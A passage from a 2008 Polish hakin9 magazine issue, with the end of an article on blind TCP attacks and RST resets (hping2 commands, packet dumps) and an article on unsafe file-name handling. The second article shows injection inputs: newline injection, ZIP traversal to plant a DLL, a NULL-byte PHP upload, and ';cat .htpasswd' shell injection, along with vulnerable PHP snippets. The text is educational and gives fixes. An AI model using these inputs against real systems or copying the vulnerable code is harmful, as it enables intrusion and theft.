odbiorcze hosta B, z łatwością może-
my odkryć dokładny numer sekwen-
cyjny B używając bisekcji, tak jak to
jest pokazane na Rysunku 2.

Odkrywszy numer SEQ hosta A,

możemy przeprowadzić atak RST.
RFC 793 dokładnie określa wy-
magania i zachowanie stosu TCP
w przypadku odebrania pakietu
z ustawioną flagą RST. A mianowi-
cie, we wszystkich stanach oprócz
początkowego (SYN-SENT) odebra-
ne pakiety z flagą RST muszą mieć
poprawny numer sekwencyjny. Nu-
mer sekwencyjny dla tych pakietów
jest poprawny, gdy SEQ znajduje się
w przedziale okna odbiorczego. W fa-
zie SYN-SENT RST jest akceptowa-
ne, jeśli pole ACK potwierdza wcze-
śniej wysłany pakiet z flagą SYN.

Microsoft interpretuje RFC 793

na własny sposób i wymaga, aby
pole SEQ pakietu resetującego po-
łączenie było równe wartości ocze-
kiwanej, co poniekąd jest bezpiecz-
niejsze – gdyż teoretycznie host
A powinien móc zresetować połą-
czenie i zna dokładną wartość SEQ.
Z interpretacją RFC nie ma nato-

miast problemów system A, więc
gdyby z resetowaniem połączenia
były problemy, to można spróbować
w pełni ślepego ataku RST na ma-
szynę linuksową. W badanym przy-
padku rozmiar okna został po usta-
leniu połączenia ustawiony na 2352
przy współczynniku skalowania rów-
nym 2, co dało rozmiar okna 10128

Listing 8.

Szczegóły przykładowej komunikacji C<->A

IP

(

id

56121

,

length

60

)

172.16

.

83.1

.

45462

>

172.16

.

83.129

.

23

:

S

,

3157436274

:

3157436274

(

0

)

IP

(

id

0

,

length

60

)

172.16

.

83.129

.

23

>

172.16

.

83.1

.

45462

:

S

,

1617613530

:

1617613530

(

0

)

ack

3157436275

IP

(

id

56122

,

length

52

)

172.16

.

83.1

.

45462

>

172.16

.

83.129

.

23

:

.,

ack

1617613531

IP

(

id

56123

,

length

79

)

172.16

.

83.1

.

45462

>

172.16

.

83.129

.

23

:

P

,

3157436275

:

3157436302

(

27

)

ack

1617613531

IP

(

id

7199

,

length

52

)

172.16

.

83.129

.

23

>

172.16

.

83.1

.

45462

:

.,

ack

3157436302

IP

(

id

7200

,

length

55

)

172.16

.

83.129

.

23

>

172.16

.

83.1

.

45462

:

P

,

1617613531

:

1617613534

(

3

)

ack

3157436302

IP

(

id

56124

,

length

52

)

172.16

.

83.1

.

45462

>

172.16

.

83.129

.

23

:

.,

ack

1617613534

IP

(

id

56125

,

length

55

)

172.16

.

83.1

.

45462

>

172.16

.

83.129

.

23

:

P

,

3157436302

:

3157436305

(

3

)

ack

1617613534

Rysunek 1.

Badanie poprawności portu źródłowego

�����������

�����������

�������������������
������������������������

�������������������
������������������

����������������������
����������������������
�������������������������
�������������������������������

�����������

�����������

�������������������
������������������

����������������������
����������������������
�������������������������
�������������������������������

background image

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

29

bajtów. Przejrzenie całego zakresu
2^32 numerów sekwencyjnych wy-
maga w tym przypadku wysłania
około 424068 pakietów. Przy założe-
niu, że typowy pakiet ma 40 bajtów,
wymagałoby to wysłania 16962720
bajtów. Zakładając typowe łącze
o prędkości 256 Kbit/s, zresetowa-
nie połączenia może zająć w najgor-
szym przypadku 8,7 minuty.

Atak w pełni ślepy

Uważny czytelnik pewnie dostrzegł,
że w pełni ślepy atak jest możliwy do
zrealizowania w sprzyjających wa-
runkach. Przy oknie odbiorczym rzę-
du 1GB wystarczą cztery próby, aby
zresetować dane połączenie. Pro-
blem może sprawić odkrycie portów
źródłowych i docelowych. Jednak
i one są w pewnym stopniu przewidy-
walne (patrz Tabela 2). Mając do dys-
pozycji zakresy i zakładając 4 próby
na rozłączenie połączenia, można
w optymistycznym przypadku dopro-
wadzić do awarii połączenia w mniej
niż 9 minut. Oczywiście w większości
przypadków nie ma się co łudzić – po-
myślny atak w tak krótkim czasie nie
powiedzie się.

Cała reszta

Należy zdać sobie sprawę, że arty-
kuł opisuje tylko niektóre możliwości,
jakie niosą ze sobą ślepe ataki. Ska-
nowanie oraz ataki RST są przysło-
wiowym wierzchołkiem góry lodowej,
pod którą kryje się wiele możliwości.
Wierny czytelnik hakin9 od razu po-
winien zauważyć fakt, że wprowa-
dzanie własnych informacji do usta-
nowionego połączenia umożliwia za-
stosowanie większości ataków we
wszystkich warstwach, począwszy
od warstwy IP. Dzięki wiedzy zdoby-
tej podczas skanowania można rów-
nież przyśpieszyć atak ICMP opisy-
wany w hakin9 3/2007 przez Marcina
Ulikowskiego, nie mówiąc już możli-

wości wykorzystania pluginu własnej
produkcji w Metasploit (patrz: hakin9
4/2007).

Podsumowanie

Warto uzmysłowić sobie, dlaczego
ślepe ataki są możliwe. Wszędzie
tam, gdzie występują przewidywal-
ne liczby, pojawia się niebezpieczeń-
stwo wykorzystania tego faktu. Po-
nadto same protokoły wykorzysty-
wane w Internecie oraz ich pełna lub
częściowa zgodność z RFC stanowi
niejakie zagrożenie, ponieważ stan

wiedzy o bezpieczeństwie znacznie
się zwiększył od czasu sformalizowa-
nia standardów internetowych. Istnie-
nie technik opisanych w artykule za-
wdzięczamy dokładnemu poznaniu
zarówno protokołów, jak i ich słabo-
ści. Świadomość zagrożenia istnie-
je i zewsząd pojawiają się inicjaty-
wy, które mają na celu niwelacje za-
grożenia, jak np. grsecurity czy inne
łatki jądra lub chociażby zmiany sto-
su TCP/IP w Windows Vista. Z dru-
giej strony jednak należy spojrzeć na
zamysł TCP/IP z dużym uznaniem.
Rozwiązania te, niekiedy powstałe
30 lat temu, są codziennie wykorzy-
stywane przez miliony użytkowników.
Gdyby technologię TCP/IP porównać
do motoryzacji, od razu można sobie
wyobrazić bezpieczeństwo na dro-
dze, po której poruszają się trzydzie-
stoletnie rzęchy. l

O autorze

Konrad Malewski, absolwent informatyki Politechniki Śląskiej. Obecnie doktorant in-
formatyki na AGH. Administrator amatorskich sieci komputerowych. Zarówno w pra-
cy, jak i prywatnie interesuje się programowaniem oraz bezpieczeństwem aplikacji sie-
ciowych.
Kontakt z autorem: kmalewski@gmail.com

Listing 9.

Reakcja systemu Windows Vista na pakiet z nieprawidłowym

numerem sekwencyjnym

Wywołanie polecenia z C
./

hping2

172.16

.

83.128

-

a

172.16

.

83.129

-

s

22

-

p

49165

-

M

0

-

c

5

spowoduje

odes

ł

anie

odpowiedzi

przez

B

:

IP

(

ttl

128

,

id

393

,

offset

0

,

flags

[

DF

]

,

proto

TCP

(

6

)

,

length

40

)

172.16

.

83.128

.

49165

>

172.16

.

83.129

.

22

:

.,

ack

200270774

win

253

IP

(

ttl

128

,

id

394

,

offset

0

,

flags

[

DF

]

,

proto

TCP

(

6

)

,

length

40

)

172.16

.

83.128

.

49165

>

172.16

.

83.129

.

22

:

.,

ack

200270774

win

253

IP

(

ttl

128

,

id

395

,

offset

0

,

flags

[

DF

]

,

proto

TCP

(

6

)

,

length

40

)

172.16

.

83.128

.

49165

>

172.16

.

83.129

.

22

:

.,

ack

200270774

win

253

IP

(

ttl

128

,

id

396

,

offset

0

,

flags

[

DF

]

,

proto

TCP

(

6

)

,

length

40

)

172.16

.

83.128

.

49165

>

172.16

.

83.129

.

22

:

.,

ack

200270774

win

253

IP

(

ttl

128

,

id

397

,

offset

0

,

flags

[

DF

]

,

proto

TCP

(

6

)

,

length

40

)

172.16

.

83.128

.

49165

>

172.16

.

83.129

.

22

:

.,

ack

200270774

win

253

Rysunek 2.

Dokładne znajdowanie numeru sekwencyjnego

����������
���������������

��������������

���

������

�����������

������

������� ������� ������� �������

�������

���

���

���

background image

www.hakin9.org

hakin9 Nr 01/2008

30

Atak

N

iniejszy artykuł ma na celu zazna-
jomić Czytelnika z najczęstszymi
błędami popełnianymi przez progra-

mistów podczas obsługi otrzymanych z ze-
wnątrz nazw plików.

Ukrywanie pełnej nazwy pliku

Część aplikacji umożliwiających transfer plików
między dwoma użytkownikami, a w szczególno-
ści ich odbieranie, przed przystąpieniem do fak-
tycznego transferu danych informuje użytkownika
co do nazwy przesyłanego lub odbieranego pliku,
aby mógł on zadecydować, czy plik faktycznie po-
winien zostać odebrany, czy też ma zostać odrzu-
cony, np. z powodów związanych z bezpieczeń-
stwem. Częstym zaniedbaniem w tym miejscu
jest dostarczenie przez programistę zbyt wąskie-
go pola przeznaczonego do wyświetlenia na-
zwy plików, przez co część nazwy pliku zosta-
nie ukryta przed użytkownikiem. Błąd na pierw-
szy rzut oka wydaje się być trywialny, jednak
jego konsekwencje mogą być poważne. Przy-
kładowo, w roku 2004 błąd tego typu został
wykryty przez Bartosza Kwitkowskiego w module
przesyłania plików popularnego polskiego komu-
nikatora Gadu-Gadu (http://securitytracker.com/
id?1011037
). Niebezpieczeństwo tego błędu po-

lega na ukryciu przed użytkownikiem prawdziwe-
go rozszerzenia pliku poprzez sformułowanie na-
zwy w następujący sposób: obrazek.jpg<DUŻO
SPACJI>.exe
. Z uwagi na zbyt wąskie pole wy-
świetlające nazwę pliku oraz dużą ilość spacji
w nazwie, faktyczne rozszerzenie odbieranego
pliku nie zmieści się w polu nazwy – a więc nie
zostanie wyświetlone (patrz Rysunek 1).

Programista tworzący aplikację powinien za-

pewnić odpowiednie jej zachowanie w takim wy-
padku. Przykładowym rozwiązaniem może być

Niebezpieczne nazwy

plików

Michał Gynvael Coldwind Składnikiewicz

stopień trudności

Programiści, zarówno początkujący, jak i profesjonaliści, mają

tendencje do pokładania przesadnego zaufania w poprawności

otrzymywanych z zewnątrz nazw plików. W konsekwencji ich

aplikacje mogą stać się wejściem do systemu dla potencjalnego

włamywacza.

Z artykułu dowiesz się

• o najczęstszych zaniedbaniach w implementacji

obsługi nazw plików otrzymanych z zewnątrz,

• jakie są konsekwencje nieodpowiedniej wali-

dacji otrzymanych z zewnątrz danych,

• o trudnościach wynikających z pisania między-

platformowych aplikacji operujących na plikach.

Co powinieneś wiedzieć

• mieć ogólne pojęcie o popularnych językach

programowania oraz najbardziej znanych sys-
temach operacyjnych.

background image

Niebezpieczne nazwy plików

hakin9 Nr 01/2008

www.hakin9.org

31

użycie pola wieloliniowego lub znacz-
nika informującego użytkownika, że
nazwa ma ciąg dalszy – przy czym
należy pamiętać, aby użyć dobrze
widocznego znacznika. Często uży-
wany jest wtedy wielokropek, jednak
zdaniem autora trzy piksele tworzące
wielokropek mogą zostać przez użyt-
kownika niezauważone.

Znak nowej linii

Aplikacje serwerowe udostępnia-
jące pliki bardzo często zapisują
w logach wszystkie nazwy plików żą-
danych przez użytkowników, wraz
z żądaniami, które zakończyły się
niepowodzeniem (np. z powodu nie-
istniejącego zasobu) – co, samo
w sobie, jest oczywiście bardzo
dobrym pomysłem i jest niezwy-
kle przydatne przy przeprowadza-
niu wszelkiego rodzaju analiz i ba-
dań, na przykład powłamaniowych.
Często w tym celu używa się logów
w formacie tekstowym, głównie
z uwagi na prostotę zapisu oraz póź-
niejszego odczytu – czy to przez
człowieka, czy przez przeznaczone
do tego celu skrypty. Problem po-
jawia się w momencie, gdy progra-
mista zaniedba konwersje niektó-
rych znaków specjalnych pojawia-
jących się w nazwie zażądanego
zasobu, takich jak znak nowej linii.
Należy jednak zauważyć, iż ataku-
jący musi mieć możliwość wstawie-
nia znaku nowej linii, który nie zosta-
nie obsłużony w ramach parsowania
pakietu – jest to możliwe w protoko-
łach binarnych oraz w protokołach
tekstowych udostępniających znaki
ucieczki lub alternatywne kodowanie
znaków, np. za pomocą ich kodów
ASCII. W takim wypadku atakujący
może wstawić do logów dodatkowe,

nieprawdziwe wpisy, mogące zmylić
osoby przeprowadzające analizę po-
włamaniową lub – w przypadku, gdy
system korzysta z analizatora logów
– odciąć dostęp do usługi zaufanym
hostom. Jako przykład wyobraźmy
sobie aplikację udostępniającą pliki,
która tworzy logi w postaci:

IP _ użytkownika: stan(OK lub ERROR)
żądany plik

Przykładowy wpis w logach mógłby
wyglądać tak:

192.168.0.12: OK /var/files/cars.db

Proszę zauważyć, że atakujący w takim
wypadku może wysłać specjalnie spre-
parowane żądanie, które spowoduje
wstawienie dodatkowych wpisów do lo-
gów – wystarczy, że użyje znaku nowej
linii w nazwie żądanego zasobu. Przy-
kładowo, atakujący mógłby poprosić
o plik /var/files/csrs.db\n123.123.123.123:
OK /etc/shadow
(gdzie \n to znak no-
wej linii). Takie żądanie spowodowało-
by pojawienie się w logach następują-
cego wpisu:

192.168.0.12: ERROR /var/files/csrs.db
123.123.123.123: OK /etc/shadow

W konsekwencji wystraszony admi-
nistrator (lub analizator logów, któ-
rego używa) mógłby odciąć dostęp
z hosta 123.123.123.123.

W powyższym przykładzie pro-

blem wynikający z wystąpienia nie-
obsłużonego znaku nowej linii wyda-
je się być stosunkowo niegroźny, jed-
nak nietrudno wyobrazić sobie groź-
niejszy przypadek, gdy nazwa ostat-
niego zażądanego przez użytkowni-
ka pliku jest zapisywana do teksto-
wego pliku konfiguracyjnego. W ta-
kim wypadku atakujący dostaje moż-
liwość dopisania dowolnej opcji do
pliku konfiguracyjnego – przykłado-
wo takiej, która zwiększy jego upraw-
nienia. Jako przykład weźmy wyima-
ginowany serwer plików korzystający
z tekstowej bazy danych, w której
przechowuje informacje o kontach
użytkowników, takie jak login, hasło,
poziom dostępu oraz ostatnio zażą-
dany plik. Przykład takiej bazy znaj-
duje się na Listingu 1. Gdy użytkow-
nik zażąda jakiegoś pliku, aplikacja
serwerowa zapisuje informacje o żą-
daniu do bazy danych (pole LASTRE-
QUEST), po czym kontynuuje prze-
twarzanie. W takim wypadku ataku-
jący ma możliwość wysłania żądania
zawierającego znak nowej linii, które
– nieodpowiednio obsłużone – spo-
woduje dodanie opcji ACCESSLE-
VEL=admin do pliku konfiguracyjne-
go, co po przeładowaniu bazy danych
spowoduje nadanie użytkownikowi
wyższego poziomu dostępu. Żądanie
takie może wyglądać następująco:

\nACCESSLEVEL=admin

Analogiczny błąd występował w Penul-
tima Online – emulatorze serwera Ulti-

Rysunek 1.

Okno transferu pliku w Gadu-Gadu 6

Listing 1.

Tekstowa baza użytkowników

[

User

]

LOGIN

=

admin

PASS

=

md5

:

d10a20c8c3b635d4a6f7dcdae96a15d2

ACCESSLEVEL

=

admin

LASTREQUEST

=

/

var

/

files

/

csrs

.

db

[

User

]

LOGIN

=

hax

PASS

=

md5

:

d41d8cd98f00b204e9800998ecf8427e

#ACCESSLEVEL=user (default)

LASTREQUEST

=

/

var

/

files

/

rules

.

txt

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

32

my Online, dotyczył on jednak nie na-
zwy pliku, a nazwy użytkownika. Za
pomocą znaku nowej linii możliwe by-
ło nadanie konkretnej postaci w grze
uprawnień administratora. Jak widać,
błąd ten dotyczy nie tylko nazw plików.

Niegroźny, nie mniej jednak intere-

sujący, błąd związany z brakiem ob-
sługi znaku nowej linii został znale-
ziony przez autora w Fileinfo (http://
blog.hispasec.com/lab/advisories/
adv_Fileinfo-2_09_multiple_vulne-
rabilities.txt
), pluginie do Total Com-
mandera autorstwa Francoisa Gan-
niera. Fileinfo jest pluginem wyświetla-
jącym informacje o strukturze plików
wykonywalnych (MZ, PE) oraz obiek-
towych (COFF). Błąd był umiejscowio-
ny w obsłudze plików PE – autor zało-
żył, że nazwa importowanej biblioteki
DLL będzie normalną nazwą pliku. Nie
przewidział jednak możliwości, że bę-
dzie ona zawierała znaki nowej linii, co
umożliwia atakującemu dodanie wła-
snych fałszywych informacji o danym
pliku PE do raportu generowanego
przez Fileinfo (patrz Rysunek 2).

Problem wyboru

Problem wyboru nazwy pliku doty-
czy konkretnych przypadków, w któ-
rych programista dostaje kilka nazw,
teoretycznie identycznych, określa-
jących jeden plik i musi dokonać wy-
boru, której nazwy użyć. Jako że
nazwy powinny być – przynajmniej
w teorii – identyczne, wybór wydaje
się nie mieć znaczenia, ale co w wy-
padku, gdy atakujący spreparuje po-

dane aplikacji dane i nazwy nie będą
takie same?

Tego typu problem pojawia się

w przypadku archiwów ZIP, w których
nazwa skompresowanego pliku zapi-
sana jest w dwóch miejscach: przed
skompresowanymi danymi – w tzw. lo-
kalnym nagłówku pliku (ang. local file
header
) oraz w nagłówku pliku w cen-
tralnym katalogu (ang. central directo-
ry
). Programista powinien wybrać jed-
ną nazwę, którą najpierw pokaże użyt-
kownikowi w celu weryfikacji pliku do
rozpakowania lub po prostu wylisto-
wania plików w archiwum, a następnie
powinien użyć tej samej nazwy przy
tworzeniu rozpakowanego pliku. Oka-
zuje się, że nie zawsze tak się dzieje.

Przykładowo w menadżerze plików

Unreal Commander firmy X-Diesel
podczas listowania plików archiwum
aplikacja pokazuje użytkownikowi na-
zwy plików pobrane z centralnego ka-
talogu, jednak przy rozpakowywaniu
danego pliku aplikacja korzysta z na-
zwy zawartej w lokalnym nagłówku
pliku (http://blog.hispasec.com/lab/
advisories/adv_UnrealCommander_
0_92_build_573_Multiple_Vulnerabi-
lities.txt
). W takim wypadku atakują-
cy może ukryć prawdziwą tożsamość
pliku nawet przed uważnym użytkow-
nikiem. Należy zauważyć, że zagro-
żenie wynikające z tego zaniedbania
wydaje się być niewielkie, ale w po-
łączeniu z innymi błędami (np. gło-
śnym błędem z kursorami animowa-
nymi .ani – wewnętrzna funkcja sys-
temu Windows była podatna na atak

typu buffer overflow podczas odczy-
tu danych z pliku z animowanym kur-
sorem, również przy generowaniu
podglądu w momencie listowania pli-
ków w katalogu za pomocą Windows
Explorera lub dowolnego innego me-
nadżera plików wyświetlającego pod-
gląd kursorów animowanych) zagro-
żenie może wzrosnąć.

Directory traversal

Pozostając przy tematyce archiwów,
warto wskazać często występujący
błąd, polegający na użyciu nazwy pli-
ku zawartej w archiwum bez spraw-
dzenia, czy nie zawiera ona znaków
specjalnych służących do zapisu ście-
żek relatywnych – czyli kropki, sla-
sha oraz backslasha, lub – w wypad-
ku, gdy jest to dopuszczalne – nie po-
informowania użytkownika o tym fak-
cie, np. prezentacja jedynie nazw pli-
ków, bez dołączonej do nich ścież-
ki względnej. Przykładowo w plikach
ZIP możliwe jest zapisanie relatyw-
nej ścieżki zawierającej odwołania do
katalogu nadrzędnego, czyli /../../../../.
W takim wypadku niewystarczająco
zabezpieczona aplikacja rozpakowa-
łaby plik do jednego z katalogów nad-
rzędnych, a nawet w dowolnie wska-
zane miejsce przez atakującego.
W przypadku systemu Windows miej-
sce ograniczyłoby się do danej party-
cji. Rozważając konsekwencje takiej
możliwości, należy wskazać atak pod-
miany DLL (ang. DLL Spoofing), pole-
gający na utworzeniu w katalogu apli-
kacji biblioteki DLL o takiej samej na-
zwie, jak dowolna nie-systemowa bi-
blioteka DLL, z której korzysta aplika-
cja, a która normalnie jest umieszczo-
na w katalogu systemowym (na przy-
kład w C:\Windows\system32). Spo-
wodowałoby to, że w momencie uru-
chomienia aplikacji zostałaby zaim-
portowana biblioteka z katalogu apli-
kacji, a nie ta umieszczona w katalo-
gu systemowym – skutkując wykona-
niem kodu umieszczonego przez ata-
kującego w bibliotece DLL. Należy za-
uważyć, że w takim wypadku nie jest
konieczna podmiana żadnego pliku,
a tym bardziej nie jest konieczne ręcz-
ne
uruchomienie podstawionej biblio-
teki DLL. Atak ten połączony z opisa-
nym możliwym błędem w implementa-

Listing 2.

Prosty skrypt tworzący pliki tekstowe

<

?

php

// Pobierz argumenty

if

(!

isset

(

$

_GET

[

'

name

'

])

||

!

isset

(

$

_GET

[

'

data

'

]))

die

(

'

Usage

:

set

name

to

file

name

,

and

data

to

data

'

);

$

fname

=

$

_GET

[

'

name

'

];

$

fdata

=

$

_GET

[

'

data

'

];

// Usun slashe jesli trzeba

if

(

get_magic_quotes_gpc

())

{

$

fname

=

stripslashes

(

$

fname

);

$

fdata

=

stripslashes

(

$

fdata

);

}

// Zapisz

file_put_contents

(

$

fname

. '.

txt

', $

data

);

?

>

background image

Niebezpieczne nazwy plików

hakin9 Nr 01/2008

www.hakin9.org

33

cji rozpakowywania plików ZIP mógłby
wyglądać następująco: w pliku ZIP po-
dana byłaby nazwa pliku w postaci:

../../../../../../../../Program Files/
mIRC/wsock32.dll

W momencie rozpakowania (przy za-
łożeniu, że na danym dysku istnie-
je katalog Program Files oraz ka-
talog mIRC) plik wsock32.dll zo-
stałby rozpakowany do katalogu
\ProgramFiles\mIRC, a nie – jak użyt-
kownik by oczekiwał – do katalogu
wskazanego przez niego. Dzieje się
tak dlatego, iż programista założył, że
nazwa nie będzie zawierała ścieżki
lub nie będzie to ścieżka, która odwo-
łuje się do nadrzędnych katalogów.
W konsekwencji użył więc nazwy pli-
ku – bez uprzedniej korekty – w po-
leceniu tworzącym plik, na przykład
CreateFile. Wydawałoby się jednak,
że aby przeprowadzić taki atak, nale-
ży znać dokładny poziom zagłębienia
w strukturę katalogów w celu określe-
nia niezbędnej ilości odwołań do ka-
talogów nadrzędnych (czyli dokład-
ną ilość ../). Jak się okazuje, nie jest
to konieczne, ponieważ system Win-
dows nie zgłasza błędu, gdy następu-
je odwołanie do katalogu nadrzędne-
go w głównym katalogu dysku, przez
co możliwe jest użycie nadmiarowej
ilości odwołań do nadrzędnego ka-
talogu w celu upewnienia się iż kon-
tekst faktycznie dotrze do głównego
katalogu dysku. W momencie, gdy ni-
czego nieświadomy użytkownik uru-
chomi mIRC'a, uruchomiony zostanie

również kod zawarty w podstawionej
bibliotece wsock32.dll.

Tego typu błąd pojawił się na

przykład w wymienionym już wcze-
śniej Unreal Commanderze (w mo-
mencie pisania artykułu jest on
nadal niepoprawiony) oraz w star-
szych wersjach Total Commandera.

Aplikacja korzystająca z ze-

wnętrznych nazw plików powinna
zwracać szczególną uwagę na zna-
ki umożliwiające podróżowanie po
drzewie katalogów – czyli slashe,
kropki oraz backslashe. Dobrym po-
mysłem jest konwersja tych znaków
na inne (na przykład na underscore
_ ) lub usunięcie odwołań do kata-
logów (np. wykasowanie wszystkich
odwołań do nadrzędnych katalogów
– czyli ciągów ../ oraz /..) – w tym wy-
padku należy jednak zwrócić szcze-
gólną uwagę na to, czy usunięte zo-
stały faktycznie wszystkie próby od-
wołania do nadrzędnych katalogów.
W wypadku, gdy ciąg byłby spraw-
dzany tylko raz, i ciąg ../ byłby usuwa-
ny tylko w pierwszym sprawdzaniu,
możliwe jest stworzenie ciągu który
po usunięciu pierwszych ../ ponow-
nie sformułuje ciąg odwołujący się do
katalogu nadrzędnego. Przykładowo
weźmy poniższy ciąg:

ala/.../.../..//kot

Funkcja usunęłaby kolejne wystą-
pienia ciągu ../, co spowodowałoby
powstanie poniższego ciągu:

ala/../kot

Funkcja usuwająca powinna więc
poszukiwać odwołań do katalogów
nadrzędnych, dopóki na pewno nie
zostaną usunięte wszystkie ciągi ../.

Remote

directory traversal

Błąd typu directory traversal można wy-
korzystać również zdalnie, na przykład
w przypadku aplikacji klienckich proto-
kołu FTP, które pokładają zbyt duże
zaufanie w poprawności otrzymanych
od serwera FTP nazw plików. Tego ty-
pu błąd występował w menadżerze pli-
ków Total Commander, do wersji 7.01
włącznie

(http://blog.hispasec.com/

lab/advisories/adv_TotalComman-
der_7_01_Remote_Traversal.txt
).

Total Commander po połączeniu

z serwerem FTP może wysłać do nie-
go jedną z komend takich jak: USER,
PASS, SYST, FEAT, PWD, TYPE,
PASV oraz LIST. Odpowiedzią ser-
wera na ostatnią komendę jest lista
plików obecnych w danym katalogu.
Format listy zależy od serwera FTP,
między innymi format UNIX Type: L8
wygląda identycznie, jak wynik pole-
cenia ls -l, na przykład:

-rwxr-xr-x 1 ftp ftp 4096 Aug 1 02:28

plik

Aplikacja spodziewa się, że ostatnie
pole będzie faktycznie nazwą pliku
w danym katalogu i nie będzie zawie-
rać ścieżki względnej ani bezwzględ-
nej. Możliwe jest zatem stworzenie
serwera FTP, który w liście plików bę-
dzie wysyłać plik z backslashami oraz
kropkami w nazwie, na przykład:

-rwxr-xr-x 1 ftp ftp 4096 Aug 1 02:
28 ..\..\..\..\..\Program Files\mIRC\
wsock32.dll

Okazuje się, iż w takim wypadku To-
tal Commander w liście plików w da-
nym katalogu FTP wyświetli jedynie
samą nazwę pliku – czyli wsock32.dll,
bez pełnej ścieżki katalogów. Jednak
w momencie, gdy użytkownik zdecydu-
je się ściągnąć plik na dysk lokalny, To-
tal Commander użyje pełnej znanej so-
bie nazwy pliku, łącznie ze ścieżką ka-
talogów i odwołaniami do katalogów
nadrzędnych. W przypadku, gdy użyt-

Rysunek 2.

Okno raportu Fileinfo z wstawionym napisem Proof of concept

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

34

kownik ściąga z serwera więcej niż je-
den plik, na przykład kilka plików lub
katalogów wraz z zawartością, Total
Commander nie informuje w żaden
sposób użytkownika o pliku skopiowa-
nym do innej lokacji. Jak widać, błąd
jest dość groźny – w końcu nietrudno
przekonać użytkownika, aby ściągnął
kilka katalogów z serwera FTP. Luka ta
została poprawiona w wersji 7.02. Trze-
ba przyznać, iż autor Total Comman-
dera dba o swoją aplikację – łatkę wy-
puścił kilka dni po otrzymaniu informa-
cji o luce.

Poison NULL byte

Kolejny błąd, już nie tak oczywisty jak
poprzednie, dotyczy konwersji meto-
dy przechowywania znaków z binar-
nie bezpiecznej (ang. binary safe) na
metodę stosującą terminator, na przy-
kład ASCIIZ – ASCII zakończone baj-
tem zerowym, ang. ASCII Zero-termi-
nated
). Większość języków skrypto-
wych i opartych na maszynach wirtu-
alnych, takich jak Perl, PHP, Python,
Java, itd., przechowuje łańcuchy zna-
ków stosując strukturę składającą się
z pola zawierającego liczbę bajtów
(znaków) w łańcuchu oraz tablicy baj-
tów (znaków) – danych łańcucha. Nato-
miast API popularnych systemów ope-
racyjnych, takich jak Windows czy sys-
temów opartych o jądro Linuksa, ko-
rzystają ze stringów będących po pro-
stu tablicą znaków zakończoną termi-
natorem – w przypadku w/w systemów
jest to znak o kodzie binarnym równym
zero. W związku z tym, gdy implemen-
tacja poleceń języka wymaga odwoła-
nia do API systemowych, zachodzi po-
trzeba konwersji metody zapisu łańcu-
cha znaków. Problem pojawia się w
momencie, gdy łańcuch zawierał znak
o kodzie równym zero, który jest cał-
kowicie legalnym znakiem dla meto-

dy używanej wewnątrz języka, jed-
nak w przypadku łańcuchów z termi-
natorem zostanie zinterpretowany jako
znak końca łańcucha. Korzystając z tej
metody atakujący – używając bajtu ze-
rowego – może przedwcześnie zakoń-
czyć łańcuch, czyli zapobiec konkate-
nacji kolejnych łańcuchów. W rzeczy-
wistości będą one doklejane, jednak
funkcje API będą ignorować wszyst-
ko, co następuje po bajcie zerowym.
Weźmy pod uwagę przykładowy skrypt
znajdujący się na Listingu 2. Celem
programisty piszącego ten skrypt było
stworzenie prostego interfejsu pozwa-
lającego łatwo generować pliki teksto-
we z rozszerzeniem .txt, w dowolnej lo-
kacji na dysku. Atakujący mógłby jed-
nak użyć bajtu zerowego, by utworzyć
plik o dowolnym rozszerzeniu, wykonu-
jąc na przykład zapytanie:

http://serwer/skrypt.php?name=evil
.php%00&data=evil _ script _ goes _
here

W tym wypadku API systemowe otrzy-
małoby polecenie utworzenia pliku
o nazwie evil.php\0.txt, gdzie \0 to
bajt zerowy, natomiast – jako że bajt
zerowy to w tym wypadku termina-
tor – utworzony zostałby plik evil.php,
a reszta nazwy zostałaby zignorowa-
na. Warto wspomnieć iż termin trujący
bajt zerowy
(ang. poison NULL byte)
został pierwszy raz użyty w roku 1998
przez Olafa Kircha na liście Bugtraq.
Na błąd typu poison NULL byte podat-
ne było między innymi phpBB. Błąd ten
wykryty został przez hakera o pseudo-
nimie ShAnKaR w roku 2004.

Shell injection

Niekiedy programiści uważają za sto-
sowne przekazać otrzymaną z ze-
wnątrz nazwę pliku do innego ze-
wnętrznego skryptu bądź programu
za pomocą polecenia typu system(),
popen() lub analogicznych. W takich
wypadkach wyjątkowo ważne jest za-
dbanie o to, by otrzymana nazwa pliku
nie zawierała żadnego separatora po-
leceń – znaku lub ciągu znaków, który
umożliwiłby atakującemu uruchomie-
nie dodatkowego polecenia. W przy-
padku systemów opartych o jądro Li-
nuksa uruchomienie dodatkowego po-

lecenia można uzyskać w jeden z na-
stępujących sposobów (Listing 3). Do-
datkowo możliwe jest przekierowanie
standardowych strumieni za pomocą
< (stdin), > (stdout) oraz 2> (stderr).
Przykładowy skrypt podatny na tego
typu atak wygląda następująco:

<?php system(„file” . $_GET['name']); ?>

W zamierzeniu programisty skrypt
miał wypisywać informację korzy-
stając z polecenia file o typie wska-
zanego pliku. Atakujący mógłby
jednak wykonać zapytanie, które
spowodowałoby uruchomienie do-
datkowego polecenia, na przykład:

http://serwer/info.php?name=;cat%20.ht

passwd

W takim wypadku wykonane zostało-
by polecenie system z parametrem file
;cat .htpasswd
. Programista korzysta-
jący z zewnętrznych poleceń powinien
zwrócić szczególną uwagę na otrzy-
mywane z zewnątrz dane, w szczegól-
ności powinien z nich usunąć wszelkie
znaki umożliwiające wykonanie dodat-
kowych poleceń – takie jak

; | & ` $

( )

. Przykładowo język PHP udostęp-

nia w tym celu funkcje escapeshellarg
oraz escapeshellcmd.

Inne

Oprócz powyższych, często popełnia-
nych zaniedbań, programista powinien
oczywiście również uważać na stan-
dardowe błędy typu przepełnienie bu-
fora czy format bug. Błędy te były opi-
sywane już wielokrotnie, więc zainte-
resowany Czytelnik nie powinien mieć
trudności ze znalezieniem dokładniej-
szych informacji na ich temat.

Różnice

w systemach plików

Na koniec warto wspomnieć o kilku
trywialnych różnicach między sys-
temami plików używanych w syste-
mach z rodziny Windows oraz PO-
SIX-owych, czyli stosujących systemy
plików rozróżniające wielkość liter,
które mogą utrudnić życie programi-
ście tworzącemu międzyplatformo-
wą aplikację. Systemy POSIX-owe
w większości przypadków korzystają

Listing 3.

Wykorzystanie

separatorów do
nieautoryzowanych poleceń

; polecenie
| polecenie
&& polecenie
|| polecenie
`polecenie`
$(polecenie)

background image

Niebezpieczne nazwy plików

z systemów plików, które jednoznacz-
nie określają nazwę pliku – czyli, z po-
minięciem linków symbolicznych, je-
